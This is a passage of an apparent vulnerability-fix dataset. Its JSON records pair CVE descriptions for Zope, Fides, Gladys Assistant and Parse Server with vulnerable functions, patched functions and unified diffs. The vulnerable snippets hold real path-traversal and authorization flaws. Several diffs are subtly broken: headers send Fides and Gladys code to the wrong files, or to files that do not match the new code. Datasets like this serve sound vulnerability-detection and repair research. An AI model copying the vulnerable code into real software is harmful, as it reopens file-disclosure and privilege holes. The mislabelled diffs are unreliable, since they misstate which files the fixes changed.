= object.restrictedTraverse(name)\n        else:\n            object = traversePathElement(object, name, path_items,\n                                         request=request)\n    return object"}, {"id": "vul_py_148_2", "commit": "15e521b", "file_path": "src/Products/PageTemplates/expression.py", "start_line": 57, "end_line": 79, "snippet": "    def traverse(cls, base, request, path_items):\n        \"\"\"See ``zope.app.pagetemplate.engine``.\"\"\"\n\n        path_items = list(path_items)\n        path_items.reverse()\n\n        while path_items:\n            name = path_items.pop()\n\n            if name == '_':\n                warnings.warn('Traversing to the name `_` is deprecated '\n                              'and will be removed in Zope 6.',\n                              DeprecationWarning)\n            elif name.startswith('_'):\n                raise NotFound(name)\n\n            if ITraversable.providedBy(base):\n                base = getattr(base, cls.traverse_method)(name)\n            else:\n                base = traversePathElement(base, name, path_items,\n                                           request=request)\n\n        return base"}], "fix_func": [{"id": "fix_py_148_1", "commit": "1d89791", "file_path": "src/Products/PageTemplates/Expressions.py", "start_line": 66, "end_line": 111, "snippet": "def boboAwareZopeTraverse(object, path_items, econtext):\n    \"\"\"Traverses a sequence of names, first trying attributes then items.\n\n    This uses zope.traversing path traversal where possible and interacts\n    correctly with objects providing OFS.interface.ITraversable when\n    necessary (bobo-awareness).\n    \"\"\"\n    request = getattr(econtext, 'request', None)\n    validate = getSecurityManager().validate\n    path_items = list(path_items)\n    path_items.reverse()\n\n    while path_items:\n        name = path_items.pop()\n\n        if OFS.interfaces.ITraversable.providedBy(object):\n            object = object.restrictedTraverse(name)\n        else:\n            found = traversePathElement(object, name, path_items,\n                                        request=request)\n\n            # Special backwards compatibility exception for the name ``_``,\n            # which was often used for translation message factories.\n            # Allow and continue traversal.\n            if name == '_':\n                warnings.warn('Traversing to the name `_` is deprecated '\n                              'and will be removed in Zope 6.',\n                              DeprecationWarning)\n                object = found\n                continue\n\n            # All other names starting with ``_`` are disallowed.\n            # This emulates what restrictedTraverse does.\n            if name.startswith('_'):\n                raise NotFound(name)\n\n            # traversePathElement doesn't apply any Zope security policy,\n            # so we validate access explicitly here.\n            try:\n                validate(object, object, name, found)\n                object = found\n            except Unauthorized:\n                # Convert Unauthorized to prevent information disclosures\n                raise NotFound(name)\n\n    return object"}, {"id": "fix_py_148_2", "commit": "1d89791", "file_path": "src/Products/PageTemplates/expression.py", "start_line": 58, "end_line": 105, "snippet": "    def traverse(cls, base, request, path_items):\n        \"\"\"See ``zope.app.pagetemplate.engine``.\"\"\"\n\n        validate = getSecurityManager().validate\n        path_items = list(path_items)\n        path_items.reverse()\n\n        while path_items:\n            name = path_items.pop()\n\n            if ITraversable.providedBy(base):\n                base = getattr(base, cls.traverse_method)(name)\n            else:\n                found = traversePathElement(base, name, path_items,\n                                            request=request)\n\n                # If traverse_method is something other than\n                # ``restrictedTraverse`` then traversal is assumed to be\n                # unrestricted. This emulates ``unrestrictedTraverse``\n                if cls.traverse_method != 'restrictedTraverse':\n                    base = found\n                    continue\n\n                # Special backwards compatibility exception for the name ``_``,\n                # which was often used for translation message factories.\n                # Allow and continue traversal.\n                if name == '_':\n                    warnings.warn('Traversing to the name `_` is deprecated '\n                                  'and will be removed in Zope 6.',\n                                  DeprecationWarning)\n                    base = found\n                    continue\n\n                # All other names starting with ``_`` are disallowed.\n                # This emulates what restrictedTraverse does.\n                if name.startswith('_'):\n                    raise NotFound(name)\n\n                # traversePathElement doesn't apply any Zope security policy,\n                # so we validate access explicitly here.\n                try:\n                    validate(base, base, name, found)\n                    base = found\n                except Unauthorized:\n                    # Convert Unauthorized to prevent information disclosures\n                    raise NotFound(name)\n\n        return base"}], "vul_patch": "--- a/src/Products/PageTemplates/Expressions.py\n+++ b/src/Products/PageTemplates/Expressions.py\n@@ -6,22 +6,41 @@\n     necessary (bobo-awareness).\n     \"\"\"\n     request = getattr(econtext, 'request', None)\n+    validate = getSecurityManager().validate\n     path_items = list(path_items)\n     path_items.reverse()\n \n     while path_items:\n         name = path_items.pop()\n \n-        if name == '_':\n-            warnings.warn('Traversing to the name `_` is deprecated '\n-                          'and will be removed in Zope 6.',\n-                          DeprecationWarning)\n-        elif name.startswith('_'):\n-            raise NotFound(name)\n-\n         if OFS.interfaces.ITraversable.providedBy(object):\n             object = object.restrictedTraverse(name)\n         else:\n-            object = traversePathElement(object, name, path_items,\n-                                         request=request)\n+            found = traversePathElement(object, name, path_items,\n+                                        request=request)\n+\n+            # Special backwards compatibility exception for the name ``_``,\n+            # which was often used for translation message factories.\n+            # Allow and continue traversal.\n+            if name == '_':\n+                warnings.warn('Traversing to the name `_` is deprecated '\n+                              'and will be removed in Zope 6.',\n+                              DeprecationWarning)\n+                object = found\n+                continue\n+\n+            # All other names starting with ``_`` are disallowed.\n+            # This emulates what restrictedTraverse does.\n+            if name.startswith('_'):\n+                raise NotFound(name)\n+\n+            # traversePathElement doesn't apply any Zope security policy,\n+            # so we validate access explicitly here.\n+            try:\n+                validate(object, object, name, found)\n+                object = found\n+            except Unauthorized:\n+                # Convert Unauthorized to prevent information disclosures\n+                raise NotFound(name)\n+\n     return object\n\n--- a/src/Products/PageTemplates/expression.py\n+++ b/src/Products/PageTemplates/expression.py\n@@ -1,23 +1,48 @@\n     def traverse(cls, base, request, path_items):\n         \"\"\"See ``zope.app.pagetemplate.engine``.\"\"\"\n \n+        validate = getSecurityManager().validate\n         path_items = list(path_items)\n         path_items.reverse()\n \n         while path_items:\n             name = path_items.pop()\n \n-            if name == '_':\n-                warnings.warn('Traversing to the name `_` is deprecated '\n-                              'and will be removed in Zope 6.',\n-                              DeprecationWarning)\n-            elif name.startswith('_'):\n-                raise NotFound(name)\n-\n             if ITraversable.providedBy(base):\n                 base = getattr(base, cls.traverse_method)(name)\n             else:\n-                base = traversePathElement(base, name, path_items,\n-                                           request=request)\n+                found = traversePathElement(base, name, path_items,\n+                                            request=request)\n+\n+                # If traverse_method is something other than\n+                # ``restrictedTraverse`` then traversal is assumed to be\n+                # unrestricted. This emulates ``unrestrictedTraverse``\n+                if cls.traverse_method != 'restrictedTraverse':\n+                    base = found\n+                    continue\n+\n+                # Special backwards compatibility exception for the name ``_``,\n+                # which was often used for translation message factories.\n+                # Allow and continue traversal.\n+                if name == '_':\n+                    warnings.warn('Traversing to the name `_` is deprecated '\n+                                  'and will be removed in Zope 6.',\n+                                  DeprecationWarning)\n+                    base = found\n+                    continue\n+\n+                # All other names starting with ``_`` are disallowed.\n+                # This emulates what restrictedTraverse does.\n+                if name.startswith('_'):\n+                    raise NotFound(name)\n+\n+                # traversePathElement doesn't apply any Zope security policy,\n+                # so we validate access explicitly here.\n+                try:\n+                    validate(base, base, name, found)\n+                    base = found\n+                except Unauthorized:\n+                    # Convert Unauthorized to prevent information disclosures\n+                    raise NotFound(name)\n \n         return base\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-36827", "cve_description": "Fides is an open-source privacy engineering platform for managing the fulfillment of data privacy requests in a runtime environment, and the enforcement of privacy regulations in code. A path traversal (directory traversal) vulnerability affects fides versions lower than version `2.15.1`, allowing remote attackers to access arbitrary files on the fides webserver container's filesystem. The vulnerability is patched in fides `2.15.1`.\n\nIf the Fides webserver API is not directly accessible to attackers and is instead deployed behind a reverse proxy as recommended in Ethyca's security best practice documentation, and the reverse proxy is an AWS application load balancer, the vulnerability can't be exploited by these attackers. An AWS application load balancer will reject this attack with a 400 error. Additionally, any secrets supplied to the container using environment variables rather than a `fides.toml` configuration file are not affected by this vulnerability.\n", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ethyca/fides", "patch_url": ["https://github.com/ethyca/fides/commit/f526d9ffb176006d701493c9d0eff6b4884e811f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_166_1", "commit": "1212ead", "file_path": "src/fides/api/main.py", "start_line": 155, "end_line": 197, "snippet": "def read_other_paths(request: Request) -> Response:\n    \"\"\"\n    Return related frontend files. Adapted from https://github.com/tiangolo/fastapi/issues/130\n    \"\"\"\n    # check first if requested file exists (for frontend assets)\n    path = request.path_params[\"catchall\"]\n\n    # search for matching route in package (i.e. /dataset)\n    ui_file = match_route(get_ui_file_map(), path)\n\n    # if not, check if the requested file is an asset (i.e. /_next/static/...)\n    if not ui_file:\n        ui_file = get_path_to_admin_ui_file(path)\n\n    # Serve up the file as long as it is within the UI directory\n    if ui_file and ui_file.is_file():\n        if not path_is_in_ui_directory(ui_file):\n            raise HTTPException(\n                status_code=status.HTTP_404_NOT_FOUND, detail=\"Item not found\"\n            )\n        logger.debug(\n            \"catchall request path '{}' matched static admin UI file: {}\",\n            path,\n            ui_file,\n        )\n        return FileResponse(ui_file)\n\n    # raise 404 for anything that should be backend endpoint but we can't find it\n    if path.startswith(API_PREFIX[1:]):\n        logger.debug(\n            \"catchall request path '{}' matched an invalid API route, return 404\",\n            path,\n        )\n        raise HTTPException(\n            status_code=status.HTTP_404_NOT_FOUND, detail=\"Item not found\"\n        )\n\n    # otherwise return the index\n    logger.debug(\n        \"catchall request path '{}' did not match any admin UI routes, return generic admin UI index\",\n        path,\n    )\n    return get_admin_index_as_response()"}], "fix_func": [{"id": "fix_py_166_1", "commit": "f526d9f", "file_path": "src/fides/api/common_exceptions.py", "start_line": 226, "end_line": 227, "snippet": "class MalisciousUrlException(Exception):\n    \"\"\"Fides has detected a potentially maliscious URL.\"\"\""}, {"id": "fix_py_166_2", "commit": "f526d9f", "file_path": "src/fides/api/main.py", "start_line": 157, "end_line": 165, "snippet": "def sanitise_url_path(path: str) -> str:\n    \"\"\"Returns a URL path that does not contain any ../ or //\"\"\"\n    path = unquote(path)\n    path = os.path.normpath(path)\n    for token in path.split(\"/\"):\n        if \"..\" in token:\n            logger.warning(f\"Potentially dangerous use of URL hierarchy in path: {path}\")\n            raise MalisciousUrlException()\n    return path"}, {"id": "fix_py_166_3", "commit": "f526d9f", "file_path": "src/fides/api/main.py", "start_line": 169, "end_line": 217, "snippet": "def read_other_paths(request: Request) -> Response:\n    \"\"\"\n    Return related frontend files. Adapted from https://github.com/tiangolo/fastapi/issues/130\n    \"\"\"\n    # check first if requested file exists (for frontend assets)\n    path = request.path_params[\"catchall\"]\n    logger.debug(f\"Catch all path detected: {path}\")\n    try:\n        path = sanitise_url_path(path)\n    except MalisciousUrlException:\n        # if a maliscious URL is detected, route the user to the index\n        return get_admin_index_as_response()\n\n    # search for matching route in package (i.e. /dataset)\n    ui_file = match_route(get_ui_file_map(), path)\n\n    # if not, check if the requested file is an asset (i.e. /_next/static/...)\n    if not ui_file:\n        ui_file = get_path_to_admin_ui_file(path)\n\n    # Serve up the file as long as it is within the UI directory\n    if ui_file and ui_file.is_file():\n        if not path_is_in_ui_directory(ui_file):\n            raise HTTPException(\n                status_code=status.HTTP_404_NOT_FOUND, detail=\"Item not found\"\n            )\n        logger.debug(\n            \"catchall request path '{}' matched static admin UI file: {}\",\n            path,\n            ui_file,\n        )\n        return FileResponse(ui_file)\n\n    # raise 404 for anything that should be backend endpoint but we can't find it\n    if path.startswith(API_PREFIX[1:]):\n        logger.debug(\n            \"catchall request path '{}' matched an invalid API route, return 404\",\n            path,\n        )\n        raise HTTPException(\n            status_code=status.HTTP_404_NOT_FOUND, detail=\"Item not found\"\n        )\n\n    # otherwise return the index\n    logger.debug(\n        \"catchall request path '{}' did not match any admin UI routes, return generic admin UI index\",\n        path,\n    )\n    return get_admin_index_as_response()"}], "vul_patch": "--- a/src/fides/api/main.py\n+++ b/src/fides/api/common_exceptions.py\n@@ -1,43 +1,2 @@\n-def read_other_paths(request: Request) -> Response:\n-    \"\"\"\n-    Return related frontend files. Adapted from https://github.com/tiangolo/fastapi/issues/130\n-    \"\"\"\n-    # check first if requested file exists (for frontend assets)\n-    path = request.path_params[\"catchall\"]\n-\n-    # search for matching route in package (i.e. /dataset)\n-    ui_file = match_route(get_ui_file_map(), path)\n-\n-    # if not, check if the requested file is an asset (i.e. /_next/static/...)\n-    if not ui_file:\n-        ui_file = get_path_to_admin_ui_file(path)\n-\n-    # Serve up the file as long as it is within the UI directory\n-    if ui_file and ui_file.is_file():\n-        if not path_is_in_ui_directory(ui_file):\n-            raise HTTPException(\n-                status_code=status.HTTP_404_NOT_FOUND, detail=\"Item not found\"\n-            )\n-        logger.debug(\n-            \"catchall request path '{}' matched static admin UI file: {}\",\n-            path,\n-            ui_file,\n-        )\n-        return FileResponse(ui_file)\n-\n-    # raise 404 for anything that should be backend endpoint but we can't find it\n-    if path.startswith(API_PREFIX[1:]):\n-        logger.debug(\n-            \"catchall request path '{}' matched an invalid API route, return 404\",\n-            path,\n-        )\n-        raise HTTPException(\n-            status_code=status.HTTP_404_NOT_FOUND, detail=\"Item not found\"\n-        )\n-\n-    # otherwise return the index\n-    logger.debug(\n-        \"catchall request path '{}' did not match any admin UI routes, return generic admin UI index\",\n-        path,\n-    )\n-    return get_admin_index_as_response()\n+class MalisciousUrlException(Exception):\n+    \"\"\"Fides has detected a potentially maliscious URL.\"\"\"\n\n--- /dev/null\n+++ b/src/fides/api/common_exceptions.py\n@@ -0,0 +1,9 @@\n+def sanitise_url_path(path: str) -> str:\n+    \"\"\"Returns a URL path that does not contain any ../ or //\"\"\"\n+    path = unquote(path)\n+    path = os.path.normpath(path)\n+    for token in path.split(\"/\"):\n+        if \"..\" in token:\n+            logger.warning(f\"Potentially dangerous use of URL hierarchy in path: {path}\")\n+            raise MalisciousUrlException()\n+    return path\n\n--- /dev/null\n+++ b/src/fides/api/common_exceptions.py\n@@ -0,0 +1,49 @@\n+def read_other_paths(request: Request) -> Response:\n+    \"\"\"\n+    Return related frontend files. Adapted from https://github.com/tiangolo/fastapi/issues/130\n+    \"\"\"\n+    # check first if requested file exists (for frontend assets)\n+    path = request.path_params[\"catchall\"]\n+    logger.debug(f\"Catch all path detected: {path}\")\n+    try:\n+        path = sanitise_url_path(path)\n+    except MalisciousUrlException:\n+        # if a maliscious URL is detected, route the user to the index\n+        return get_admin_index_as_response()\n+\n+    # search for matching route in package (i.e. /dataset)\n+    ui_file = match_route(get_ui_file_map(), path)\n+\n+    # if not, check if the requested file is an asset (i.e. /_next/static/...)\n+    if not ui_file:\n+        ui_file = get_path_to_admin_ui_file(path)\n+\n+    # Serve up the file as long as it is within the UI directory\n+    if ui_file and ui_file.is_file():\n+        if not path_is_in_ui_directory(ui_file):\n+            raise HTTPException(\n+                status_code=status.HTTP_404_NOT_FOUND, detail=\"Item not found\"\n+            )\n+        logger.debug(\n+            \"catchall request path '{}' matched static admin UI file: {}\",\n+            path,\n+            ui_file,\n+        )\n+        return FileResponse(ui_file)\n+\n+    # raise 404 for anything that should be backend endpoint but we can't find it\n+    if path.startswith(API_PREFIX[1:]):\n+        logger.debug(\n+            \"catchall request path '{}' matched an invalid API route, return 404\",\n+            path,\n+        )\n+        raise HTTPException(\n+            status_code=status.HTTP_404_NOT_FOUND, detail=\"Item not found\"\n+        )\n+\n+    # otherwise return the index\n+    logger.debug(\n+        \"catchall request path '{}' did not match any admin UI routes, return generic admin UI index\",\n+        path,\n+    )\n+    return get_admin_index_as_response()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-43256", "cve_description": "A path traversal in Gladys Assistant v4.26.1 and below allows authenticated attackers to extract sensitive files in the host machine by exploiting a non-sanitized user input.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/GladysAssistant/Gladys", "patch_url": ["https://github.com/GladysAssistant/Gladys/commit/f27d0ea4689c3deca5739b5f9ed45a2ddbf00b7b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_152_1", "commit": "8d09d2b", "file_path": "server/services/rtsp-camera/api/rtspCamera.controller.js", "start_line": 5, "end_line": 5, "snippet": "const { Error404 } = require('../../../utils/httpErrors');"}, {"id": "vul_js_152_2", "commit": "8d09d2b", "file_path": "server/services/rtsp-camera/api/rtspCamera.controller.js", "start_line": 8, "end_line": 99, "snippet": "module.exports = function RtspCameraController(gladys, rtspCameraHandler) {\n  /**\n   * @api {post} /api/v1/service/rtsp-camera/camera/test Test connection\n   * @apiName TestConnection\n   * @apiGroup RtspCamera\n   */\n  async function testConnection(req, res) {\n    const cameraImage = await rtspCameraHandler.getImage(req.body);\n    res.send(cameraImage);\n  }\n\n  /**\n   * @api {post} /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/start Start streaming\n   * @apiName startStreaming\n   * @apiGroup RtspCamera\n   */\n  async function startStreaming(req, res) {\n    const response = await rtspCameraHandler.startStreamingIfNotStarted(\n      req.params.camera_selector,\n      req.body.is_gladys_gateway,\n      req.body.segment_duration,\n    );\n    res.send(response);\n  }\n\n  /**\n   * @api {post} /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/stop Stop streaming\n   * @apiName stopStreaming\n   * @apiGroup RtspCamera\n   */\n  async function stopStreaming(req, res) {\n    await rtspCameraHandler.stopStreaming(req.params.camera_selector);\n    res.send({ success: true });\n  }\n\n  /**\n   * @api {post} /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/ping Live still active ping\n   * @apiName streamingPing\n   * @apiGroup RtspCamera\n   */\n  async function streamingPing(req, res) {\n    await rtspCameraHandler.liveActivePing(req.params.camera_selector);\n    res.send({ success: true });\n  }\n\n  /**\n   * @api {get} /api/v1/service/rtsp-camera/camera/streaming/:folder/:file Get streaming file\n   * @apiName getStreamingFile\n   * @apiGroup RtspCamera\n   */\n  async function getStreamingFile(req, res) {\n    try {\n      const filePath = path.join(gladys.config.tempFolder, req.params.folder, req.params.file);\n      const filestream = fs.createReadStream(filePath);\n      filestream.on('error', (err) => {\n        res.status(404).end();\n      });\n      filestream.pipe(res);\n    } catch (e) {\n      logger.warn(e);\n      throw new Error404('FILE_NOT_FOUND');\n    }\n  }\n\n  return {\n    'post /api/v1/service/rtsp-camera/camera/test': {\n      authenticated: true,\n      admin: true,\n      controller: asyncMiddleware(testConnection),\n    },\n    'post /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/start': {\n      authenticated: true,\n      admin: false,\n      controller: asyncMiddleware(startStreaming),\n    },\n    'post /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/stop': {\n      authenticated: true,\n      admin: false,\n      controller: asyncMiddleware(stopStreaming),\n    },\n    'post /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/ping': {\n      authenticated: true,\n      admin: false,\n      controller: asyncMiddleware(streamingPing),\n    },\n    'get /api/v1/service/rtsp-camera/camera/streaming/:folder/:file': {\n      authenticated: true,\n      admin: false,\n      controller: asyncMiddleware(getStreamingFile),\n    },\n  };\n};"}], "fix_func": [{"id": "fix_js_152_1", "commit": "f27d0ea", "file_path": "server/services/rtsp-camera/api/rtspCamera.controller.js", "start_line": 5, "end_line": 6, "snippet": "const { Error404, Error400 } = require('../../../utils/httpErrors');\nconst { validateFilename, validateSessionId } = require('../utils/validateStreamParams');"}, {"id": "fix_js_152_2", "commit": "f27d0ea", "file_path": "server/services/rtsp-camera/api/rtspCamera.controller.js", "start_line": 9, "end_line": 105, "snippet": "module.exports = function RtspCameraController(gladys, rtspCameraHandler) {\n  /**\n   * @api {post} /api/v1/service/rtsp-camera/camera/test Test connection\n   * @apiName TestConnection\n   * @apiGroup RtspCamera\n   */\n  async function testConnection(req, res) {\n    const cameraImage = await rtspCameraHandler.getImage(req.body);\n    res.send(cameraImage);\n  }\n\n  /**\n   * @api {post} /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/start Start streaming\n   * @apiName startStreaming\n   * @apiGroup RtspCamera\n   */\n  async function startStreaming(req, res) {\n    const response = await rtspCameraHandler.startStreamingIfNotStarted(\n      req.params.camera_selector,\n      req.body.is_gladys_gateway,\n      req.body.segment_duration,\n    );\n    res.send(response);\n  }\n\n  /**\n   * @api {post} /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/stop Stop streaming\n   * @apiName stopStreaming\n   * @apiGroup RtspCamera\n   */\n  async function stopStreaming(req, res) {\n    await rtspCameraHandler.stopStreaming(req.params.camera_selector);\n    res.send({ success: true });\n  }\n\n  /**\n   * @api {post} /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/ping Live still active ping\n   * @apiName streamingPing\n   * @apiGroup RtspCamera\n   */\n  async function streamingPing(req, res) {\n    await rtspCameraHandler.liveActivePing(req.params.camera_selector);\n    res.send({ success: true });\n  }\n\n  /**\n   * @api {get} /api/v1/service/rtsp-camera/camera/streaming/:folder/:file Get streaming file\n   * @apiName getStreamingFile\n   * @apiGroup RtspCamera\n   */\n  async function getStreamingFile(req, res) {\n    try {\n      validateSessionId(req.params.folder);\n      validateFilename(req.params.file);\n      const filePath = path.join(gladys.config.tempFolder, req.params.folder, req.params.file);\n      const filestream = fs.createReadStream(filePath);\n      filestream.on('error', (err) => {\n        res.status(404).end();\n      });\n      filestream.pipe(res);\n    } catch (e) {\n      if (e instanceof Error400) {\n        throw e;\n      }\n      logger.warn(e);\n      throw new Error404('FILE_NOT_FOUND');\n    }\n  }\n\n  return {\n    'post /api/v1/service/rtsp-camera/camera/test': {\n      authenticated: true,\n      admin: true,\n      controller: asyncMiddleware(testConnection),\n    },\n    'post /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/start': {\n      authenticated: true,\n      admin: false,\n      controller: asyncMiddleware(startStreaming),\n    },\n    'post /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/stop': {\n      authenticated: true,\n      admin: false,\n      controller: asyncMiddleware(stopStreaming),\n    },\n    'post /api/v1/service/rtsp-camera/camera/:camera_selector/streaming/ping': {\n      authenticated: true,\n      admin: false,\n      controller: asyncMiddleware(streamingPing),\n    },\n    'get /api/v1/service/rtsp-camera/camera/streaming/:folder/:file': {\n      authenticated: true,\n      admin: false,\n      controller: asyncMiddleware(getStreamingFile),\n    },\n  };\n};"}, {"id": "fix_js_152_3", "commit": "f27d0ea", "file_path": "server/services/rtsp-camera/utils/validateStreamParams.js", "start_line": 1, "end_line": 28, "snippet": "const { Error400 } = require('../../../utils/httpErrors');\n\nconst SESSION_ID_REGEX = /^camera-[a-zA-Z0-9-_]+$/;\n\n// Session_id usually looks like \"camera-7835d25d-b8ce-4824-a235-23637f778f83-39-50-13\"\nconst validateSessionId = (sessionId) => {\n  if (!SESSION_ID_REGEX.test(sessionId)) {\n    throw new Error400('Invalid session id');\n  }\n};\n\nconst AUTHORIZED_FILENAMES = ['index.m3u8', 'index.m3u8.key', 'key_info_file.txt'];\nconst HLS_CHUNK_REGEX = /index[0-9]+.ts/;\n\nconst validateFilename = (filename) => {\n  if (AUTHORIZED_FILENAMES.includes(filename)) {\n    return;\n  }\n\n  if (!HLS_CHUNK_REGEX.test(filename)) {\n    throw new Error400('Invalid filename');\n  }\n};\n\nmodule.exports = {\n  validateSessionId,\n  validateFilename,\n};"}], "vul_patch": "--- a/server/services/rtsp-camera/api/rtspCamera.controller.js\n+++ b/server/services/rtsp-camera/api/rtspCamera.controller.js\n@@ -1 +1,2 @@\n-const { Error404 } = require('../../../utils/httpErrors');\n+const { Error404, Error400 } = require('../../../utils/httpErrors');\n+const { validateFilename, validateSessionId } = require('../utils/validateStreamParams');\n\n--- a/server/services/rtsp-camera/api/rtspCamera.controller.js\n+++ b/server/services/rtsp-camera/api/rtspCamera.controller.js\n@@ -50,6 +50,8 @@\n    */\n   async function getStreamingFile(req, res) {\n     try {\n+      validateSessionId(req.params.folder);\n+      validateFilename(req.params.file);\n       const filePath = path.join(gladys.config.tempFolder, req.params.folder, req.params.file);\n       const filestream = fs.createReadStream(filePath);\n       filestream.on('error', (err) => {\n@@ -57,6 +59,9 @@\n       });\n       filestream.pipe(res);\n     } catch (e) {\n+      if (e instanceof Error400) {\n+        throw e;\n+      }\n       logger.warn(e);\n       throw new Error404('FILE_NOT_FOUND');\n     }\n\n--- /dev/null\n+++ b/server/services/rtsp-camera/api/rtspCamera.controller.js\n@@ -0,0 +1,28 @@\n+const { Error400 } = require('../../../utils/httpErrors');\n+\n+const SESSION_ID_REGEX = /^camera-[a-zA-Z0-9-_]+$/;\n+\n+// Session_id usually looks like \"camera-7835d25d-b8ce-4824-a235-23637f778f83-39-50-13\"\n+const validateSessionId = (sessionId) => {\n+  if (!SESSION_ID_REGEX.test(sessionId)) {\n+    throw new Error400('Invalid session id');\n+  }\n+};\n+\n+const AUTHORIZED_FILENAMES = ['index.m3u8', 'index.m3u8.key', 'key_info_file.txt'];\n+const HLS_CHUNK_REGEX = /index[0-9]+.ts/;\n+\n+const validateFilename = (filename) => {\n+  if (AUTHORIZED_FILENAMES.includes(filename)) {\n+    return;\n+  }\n+\n+  if (!HLS_CHUNK_REGEX.test(filename)) {\n+    throw new Error400('Invalid filename');\n+  }\n+};\n+\n+module.exports = {\n+  validateSessionId,\n+  validateFilename,\n+};\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47183", "cve_description": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. If the Parse Server option allowCustomObjectId: true is set, an attacker that is allowed to create a new user can set a custom object ID for that new user that exploits the vulnerability and acquires privileges of a specific role. This vulnerability is fixed in 6.5.9 and 7.3.0.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/parse-community/parse-server", "patch_url": ["https://github.com/parse-community/parse-server/commit/13ee52f0d19ef3a3524b3d79aea100e587eb3cfc", "https://github.com/parse-community/parse-server/commit/1bfbccf9ee7ea77533b2b2aa7c4c69f3bd35e66f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_115_1", "commit": "b86906f", "file_path": "src/Auth.js", "start_line": 122, "end_line": 198, "snippet": "const getAuthForSessionToken = async function ({\n  config,\n  cacheController,\n  sessionToken,\n  installationId,\n}) {\n  cacheController = cacheController || (config && config.cacheController);\n  if (cacheController) {\n    const userJSON = await cacheController.user.get(sessionToken);\n    if (userJSON) {\n      const cachedUser = Parse.Object.fromJSON(userJSON);\n      renewSessionIfNeeded({ config, sessionToken });\n      return Promise.resolve(\n        new Auth({\n          config,\n          cacheController,\n          isMaster: false,\n          installationId,\n          user: cachedUser,\n        })\n      );\n    }\n  }\n\n  let results;\n  if (config) {\n    const restOptions = {\n      limit: 1,\n      include: 'user',\n    };\n    const RestQuery = require('./RestQuery');\n    const query = await RestQuery({\n      method: RestQuery.Method.get,\n      config,\n      runBeforeFind: false,\n      auth: master(config),\n      className: '_Session',\n      restWhere: { sessionToken },\n      restOptions,\n    });\n    results = (await query.execute()).results;\n  } else {\n    results = (\n      await new Parse.Query(Parse.Session)\n        .limit(1)\n        .include('user')\n        .equalTo('sessionToken', sessionToken)\n        .find({ useMasterKey: true })\n    ).map(obj => obj.toJSON());\n  }\n\n  if (results.length !== 1 || !results[0]['user']) {\n    throw new Parse.Error(Parse.Error.INVALID_SESSION_TOKEN, 'Invalid session token');\n  }\n  const session = results[0];\n  const now = new Date(),\n    expiresAt = session.expiresAt ? new Date(session.expiresAt.iso) : undefined;\n  if (expiresAt < now) {\n    throw new Parse.Error(Parse.Error.INVALID_SESSION_TOKEN, 'Session token is expired.');\n  }\n  const obj = session.user;\n  delete obj.password;\n  obj['className'] = '_User';\n  obj['sessionToken'] = sessionToken;\n  if (cacheController) {\n    cacheController.user.put(sessionToken, obj);\n  }\n  renewSessionIfNeeded({ config, session, sessionToken });\n  const userObject = Parse.Object.fromJSON(obj);\n  return new Auth({\n    config,\n    cacheController,\n    isMaster: false,\n    installationId,\n    user: userObject,\n  });\n};"}, {"id": "vul_js_115_2", "commit": "b86906f", "file_path": "src/Routers/ClassesRouter.js", "start_line": 108, "end_line": 117, "snippet": "  handleCreate(req) {\n    return rest.create(\n      req.config,\n      req.auth,\n      this.className(req),\n      req.body,\n      req.info.clientSDK,\n      req.info.context\n    );\n  }"}], "fix_func": [{"id": "fix_js_115_1", "commit": "13ee52f", "file_path": "src/Auth.js", "start_line": 122, "end_line": 203, "snippet": "const getAuthForSessionToken = async function ({\n  config,\n  cacheController,\n  sessionToken,\n  installationId,\n}) {\n  cacheController = cacheController || (config && config.cacheController);\n  if (cacheController) {\n    const userJSON = await cacheController.user.get(sessionToken);\n    if (userJSON) {\n      const cachedUser = Parse.Object.fromJSON(userJSON);\n      renewSessionIfNeeded({ config, sessionToken });\n      return Promise.resolve(\n        new Auth({\n          config,\n          cacheController,\n          isMaster: false,\n          installationId,\n          user: cachedUser,\n        })\n      );\n    }\n  }\n\n  let results;\n  if (config) {\n    const restOptions = {\n      limit: 1,\n      include: 'user',\n    };\n    const RestQuery = require('./RestQuery');\n    const query = await RestQuery({\n      method: RestQuery.Method.get,\n      config,\n      runBeforeFind: false,\n      auth: master(config),\n      className: '_Session',\n      restWhere: { sessionToken },\n      restOptions,\n    });\n    results = (await query.execute()).results;\n  } else {\n    results = (\n      await new 